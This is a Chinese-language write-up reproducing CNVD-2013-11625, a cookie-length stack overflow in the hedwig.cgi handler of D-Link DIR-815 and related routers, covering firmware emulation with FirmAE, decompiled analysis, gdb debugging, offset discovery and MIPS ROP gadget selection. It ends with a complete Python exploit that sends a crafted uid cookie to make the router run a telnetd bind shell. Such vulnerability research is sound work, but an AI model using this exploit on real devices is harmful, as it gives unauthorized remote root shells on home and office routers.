D-Link-CNVD-2013-11625
This language version is unavailable; showing the other language.
漏洞概述
- 漏洞成因:
hedwig.cgi文件中,传输时未限制COOKIE长度,导致COOKIE长度过长时引发栈溢出问题。 - 影响范围:
DIR-815/300/600/645等型号。 - 仿真工具:FirmAE
- 获取固件:下载地址
-
使用qemu仿真请获取相应内核及镜像文件:vmlinux-3.2.0-4-4kc-malta debian_squeeze_mipsel_standard.qcow2
-
路由器架构: mipsel。
漏洞复现
仿真模拟
检测是否可用FirmAE仿真
❯ ./run.sh -c D-link vulnhub/cnvd-2013-11625/DIR-815A1_FW101SSB03.bin
[*] vulnhub/cnvd-2013-11625/DIR-815A1_FW101SSB03.bin emulation start!!!
[*] extract done!!!
[*] get architecture done!!!
mke2fs 1.46.5 (30-Dec-2021)
/bash-static: warning: setlocale: LC_ALL: cannot change locale (en_US.UTF-8)
e2fsck 1.46.5 (30-Dec-2021)
[*] infer network start!!!
[IID] 1
[MODE] check
[+] Network reachable on 192.168.0.1!
[+] Web service on 192.168.0.1
[*] cleanup
======================================
使用FirmAE开启Debug模式
./run.sh -d D-link vulnhub/cnvd-2013-11625/DIR-815A1_FW101SSB03.bin
[*] vulnhub/cnvd-2013-11625/DIR-815A1_FW101SSB03.bin emulation start!!!
[*] extract done!!!
[*] get architecture done!!!
[*] vulnhub/cnvd-2013-11625/DIR-815A1_FW101SSB03.bin already succeed emulation!!!
[IID] 1
[MODE] debug
[+] Network reachable on 192.168.0.1!
[+] Web service on 192.168.0.1
[+] Run debug!
Creating TAP device tap1_0...
Set 'tap1_0' persistent and owned by uid 1000
Bringing up TAP device...
Starting emulation of firmware... 192.168.0.1 true true 14.319128546 33.992168765
[*] firmware - DIR-815A1_FW101SSB03
[*] IP - 192.168.0.1
[*] connecting to netcat (192.168.0.1:31337)
[+] netcat connected
------------------------------
| FirmAE Debugger |
------------------------------
1. connect to socat
2. connect to shell
3. tcpdump
4. run gdbserver
5. file transfer
6. exit
>
仿真成功

漏洞分析
binwalk解压
❯ binwalk -Mer DIR-815A1_FW101SSB03.bin --run-as=root
定位漏洞文件
❯ find . -name hedwig.cgi
./htdocs/web/hedwig.cgi
# 于仿真环境中寻找
/htdocs/web # ls -l | grep hedwig.cgi
lrwxrwxrwx 1 root 0 14 Apr 24 2024 hedwig.cgi -> /htdocs/cgibin
hedwig.cgi 是 /htdocs/cgibin 的符号链接,所以分析cgibin即可。
❯ checksec cgibin
[*] 'cnvd-2013-11625/_DIR-815A1_FW101SSB03.bin.extracted/squashfs-root/htdocs/cgibin'
Arch: mips-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
漏洞分析
可以使用 bindiff 来查找修复版本和此版本的差异,从而定位漏洞点。
// main()
if ( !strcmp(v3, "hedwig.cgi") )
{
v8 = (void (__noreturn *)())&hedwigcgi_main;
v9 = argc;
return ((int (__fastcall *)(_DWORD, _DWORD, _DWORD))v8)(v9, argv, envp);
}
// hedwigcgi_main()
v0 = getenv("REQUEST_METHOD");
if ( !v0 )
{
v1 = "no REQUEST";
LABEL_7:
v3 = 0;
v4 = 0;
LABEL_34:
v9 = -1;
goto LABEL_25;
}
if ( strcasecmp(v0, "POST") ) // 需要发送 POST 请求
{
v1 = "unsupported HTTP request";
goto LABEL_7;
}
cgibin_parse_request(sub_409A6C, 0, 0x20000);
[...]
sess_get_uid(v4);
// cgibin_parse_request() 函数获取了几个环境变量
if ( getenv("CONTENT_TYPE") && (v6 = getenv("CONTENT_LENGTH")) != 0 )
v7 = atoi(v6);
else
v7 = 0;
v21 = sobj_new();
v8 = sobj_new();
v22 = v8;
v9 = -1;
if ( v21 && v8 )
{
v10 = getenv("REQUEST_URI");
[...]
sobj_del(v22);
if ( v9 != -1 )
{
if ( a3 >= v7 )
{
if ( v7 )
{
getenv("CONTENT_TYPE");
v14 = getenv("CONTENT_TYPE");
[...]
// sess_get_uid(v4)
v3 = getenv("HTTP_COOKIE"); // 获取环境变量
[...]
else
{
v6 = 2;
if ( v7 != '=' ) // 对HTTP_COOKIE中=的前后进行了分离:
{
sobj_add_char(v2, v7); // 可以看见,=前面的内容被存入了v2
v6 = 1;
}
}
goto LABEL_18;
}
if ( v6 == 2 )
{
if ( v7 == ';' )
{
v6 = 3;
goto LABEL_18;
}
sobj_add_char(v4, *v5++); // 后面的内容被存入了v4
}
else
{
v6 = 0;
if ( !sobj_strcmp(v2, "uid") ) // 最后会对v2中的内容进行一个判断:
goto LABEL_21;
LABEL_18:
++v5;
}
}
if ( !sobj_strcmp(v2, "uid") )
{
LABEL_21:
string = (char *)sobj_get_string(v4);
goto LABEL_22;
}
LABEL_27:
string = getenv("REMOTE_ADDR");
LABEL_22:
// 判断等号前的内容是否为uid,判断通过了以后,就会将等号后面的字符串拼接入a1,也就是主函数传进来的参数v4。
result = sobj_add_string(a1, string);
if ( v2 )
result = sobj_del(v2);
if ( v4 )
return sobj_del(v4);
return result;
// hedwigcgi_main()
string = (const char *)sobj_get_string(v4);
/* string保存了v4中的字符串,也就是cookie中uid=之后的内容,是可以由用户自由控制的,然而v27数组的大小仅有1024 */
sprintf(v27, "%s/%s/postxml", "/runtime/session", string);
xmldbc_del(0, 0, v27);
v7 = fopen("/var/tmp/temp.xml", "w");
if ( !v7 ) // 仿真中存在 /var/tmp 目录,可以绕过
{
v1 = "unable to open temp file.";
goto LABEL_34;
}
if ( !haystack )
{
v1 = "no xml data."; // 环境变量REQUEST_URI中有内容即可
goto LABEL_34;
}
[...]
xmldbc_read(0, 2, "/var/tmp/temp.xml");
v19 = fileno(v7);
lockf(v19, 0, 0);
fclose(v7);
remove("/var/tmp/temp.xml");
v20 = (const char *)sobj_get_string(v4);
/* 这里的string仍然是v4,发现v4在两个sprintf之间未被改变过,如果能走到这第二个sprintf的话,
* 那么这里才是真正的溢出漏洞点,因为仍然是v27数组的溢出,两次拼接的字符串又一样,所以这里能覆盖上一次sprintf的内容。
*/
sprintf(v27, "/htdocs/webinc/fatlady.php\nprefix=%s/%s", "/runtime/session", v20);
动态调试
查询httpd进程号
/ # ps | grep httpd
2306 root 1560 S httpd -f /var/run/httpd.conf
15635 root 656 S grep httpd
启动 gdbserver
FirAE 选择 run gdbserver,输入httpd 进程号。
[+] target pid : 2306
[+] gdbserver at 192.168.0.1:1337 attach on 2306
[+] run "target remote 192.168.0.1:1337" in host gdb-multiarch
set architecture mips
# 这个选项用来设置当发生fork或者vfork的时候,GDB将继续调试父进程或者子进程
set follow-fork-mode child
# 这个选项用来控制当fork或者vfork发生的时候,是否detach掉父进程或者子进程
set detach-on-fork off
target remote 192.168.0.1:1337
b _start
c

确定溢出偏移
使用 cyclic 确定偏移。
from pwn import *
import http.client
# 创建HTTP连接
conn = http.client.HTTPConnection("192.168.0.1")
# 设置请求头
headers = {
'Content-Length': '21',
'accept-Encoding': 'deflate',
'Connection': 'close',
'User-Agent': 'MozillIay4.0 (compatible MSIE 8.07 Winaows NT 6.17 WOW647 Triaent/4.07 SLCC27 -NET CDR 2.0.50727) -NET CLR 3.5.307297 .NET CILR 3.90.307297 Meaia CenteLr PC 6.07 .NET4.0C7 -NET4.0E)',
'Host': '192.168.0.1',
'Cookie': 'uid='+cyclic(0x500),
'Content-Type': 'application/x-www-form-urlencoded'
}
# 发送POST请求
conn.request("POST", "/hedwig.cgi", body="password=123&bid=3Rd4", headers=headers)
# 获取响应
response = conn.getresponse()
# 打印响应状态码和响应内容
print(response.status, response.read().decode())
# 关闭连接
conn.close()

确定libc_base
记得关闭地址随机化,因为真机也不存在随机化。

编写EXP
编写shellcode
宿主机存在 telnetd,可使用telnetd -l /bin/sh -p 10086开启通信通道,-l指定通信程序,-p指定通信端口。我们的任务就变成了通过栈溢出调用 system("telnetd -l /bin/sh -p 10086");
MIPS架构存在“流水线效应”,简单来说,就是本应该顺序执行的几条命令却同时执行了,其还存在缓存不一致性(cache incoherency)的问题。首先举例说说 “流水线效应” ,最常见的就是跳转指令(如
jalr)导致的分支延迟效应,任何一个分支跳转语句后面的那条语句叫做分支延迟槽,当它跳转指令填充好跳转地址,还没来得及跳转过去的时候,跳转指令的下一条指令(分支延迟槽)就已经执行了,可以认为是它会先执行跳转指令的后一条指令,然后再跳转。再来说说 “缓存不一致性” 的问题,指的是:指令缓存区(
Instruction Cache)和数据缓存区(Data Cache)两者的同步需要一个时间来同步,常见的就是,比如我们将shellcode写入栈上,此时这块区域还属于数据缓存区,如果我们此时像x86_64架构一样,直接跳转过去执行,就会出现问题,因此,我们需要调用sleep函数,先停顿一段时间,给它时间从数据缓存区转成指令缓存区,然后再跳转过去,才能成功执行。当然,有时候可能直接跳转过去也不会出错,这原因就比较多了,可能是由于两个缓冲区已经有足够时间同步,也有可能是和硬件层面有关的一些原因所导致的,但是保险来说,还是最好sleep一下。
.text:0000AE90 .globl execve
.text:00053200 # int __fastcall system(int)
而system函数地址末尾为\x00会被sprintf截断,使用execve函数需要控制其第二个和第三个参数为0。
接下来可以使用ropper寻找控制$a0的指令和jr/jalr指令。
0x000159cc : addiu $s5, $sp, 0x10 ; move $a1, $s3 ; move $a2, $s1 ; move $t9, $s0 ; jalr $t9 ; move $a0, $s5
利用这段 gadget,控制 $sp+0x10 == argv1_addr,$s0 == system_addr即可。但由于 system 函数末一字节为\x00,所以需要修改其地址保存在临时寄存器,然后找其他gadget对其进行修正。
0x000158c8 : move $t9, $s5 ; jalr $t9 ; addiu $s0, $s0, 1
这段gadget jalr $t9跳转的下一条指令是$s0 += 1。
接下来可以构造shellcode了,在$s0传入system-1的地址,s5传入了0x000159cc的gadget。溢出之后,首先执行0x158c8这段gadget,跳转到0x159cc这段gadget的同时$s0++,变为system的地址。接着执行0x159cc,将"argv1_addr"传入$s5,$s0此时为system_addr,jalr $t9时也执行mov $a0, $s5,成功执行system("telnetd -l /bin/sh -p 55557")。
exp
import http.client
from pwn import *
context.arch='mips'
context.bytes='32'
context.binary='./cgibin'
context.endian='little'
# 创建HTTP连接
conn = http.client.HTTPConnection("192.168.0.1")
#libc基地址
libc_base = 0x77f34000
#gadget
gadget_1 = libc_base + 0x159cc
gadget_2 = libc_base + 0x158c8
system_addr_sub_1 = libc_base + 0x531ff
# s0,s5,sp+0x10的偏移可以用cyclici计算
payload = cyclic(0x3cd) + p32(system_addr_sub_1) + p32(gadget_1)*8 + p32(gadget_2)*5 + b"telnetd -l /bin/sh -p 10086"
headers = {
'Content-Length': '21',
'accept-Encoding': 'deflate',
'Connection': 'close',
'User-Agent': 'MozillIay4.0 (compatible MSIE 8.07 Winaows NT 6.17 WOW647 Triaent/4.07 SLCC27 -NET CDR 2.0.50727) -NET CLR 3.5.307297 .NET CILR 3.90.307297 Meaia CenteLr PC 6.07 .NET4.0C7 -NET4.0E)',
'Host': '192.168.0.1',
'Cookie': b'uid='+payload,
'Content-Type': 'application/x-www-form-urlencoded'
}
conn.request("POST", "/hedwig.cgi", body="password=123&uid=3Rd4", headers=headers)
response = conn.getresponse()
print(response.status, response.read().decode())
conn.close()
运行结果
